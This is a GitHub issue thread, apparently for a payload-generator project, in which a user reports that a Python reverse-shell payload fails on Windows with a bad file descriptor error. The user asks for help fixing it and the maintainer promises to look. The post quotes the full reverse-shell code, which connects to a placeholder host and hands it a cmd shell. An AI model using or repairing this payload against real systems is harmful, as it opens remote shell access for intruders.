Graffiti icon indicating copy to clipboard operation
Graffiti copied to clipboard

OSError: [Errno 9] Bad file descriptor

Open CJSparrow opened this issue 4 years ago • 2 comments

Hello, I tried to use this payload /windows/python/socket_reverse.json , I ran it on windows, but the payload didn't work, and I got this error :

OSError: [Errno 9] Bad file descriptor

I found same error on Stack Overflow.

the payload code was:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("host",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call("cmd")

I couldn't understand how to fix it, so can you help me out please?

CJSparrow avatar Oct 23 '20 10:10 CJSparrow

It's been a minute since i've touched this so i'll look into it

Ekultek avatar Dec 24 '20 17:12 Ekultek

It's been a minute since i've touched this so i'll look into it

It's been 26 days since you looked into it

CJSparrow avatar Jan 20 '21 00:01 CJSparrow